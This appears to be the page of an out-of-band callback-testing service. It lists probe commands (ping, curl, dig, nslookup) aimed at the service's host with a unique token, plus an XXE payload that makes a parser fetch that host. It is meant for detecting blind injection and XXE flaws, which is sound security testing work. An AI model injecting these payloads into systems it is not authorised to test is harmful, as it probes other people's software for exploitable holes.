$ ping -c1 -p 0013db08434af95c89fe72a19a85ff00 unhack.ca
 
$ curl http://unhack.ca/p/13db08434af95c89fe72a19a85ff
 
$ dig 13db08434af95c89fe72a19a85ff @unhack.ca
 
$ dig 13db08434af95c89fe72a19a85ff.ns.unhack.ca
 
C:\> nslookup 13db08434af95c89fe72a19a85ff unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/13db08434af95c89fe72a19a85ff">]>
    <foo>&xxe;</foo>
Waiting for ping...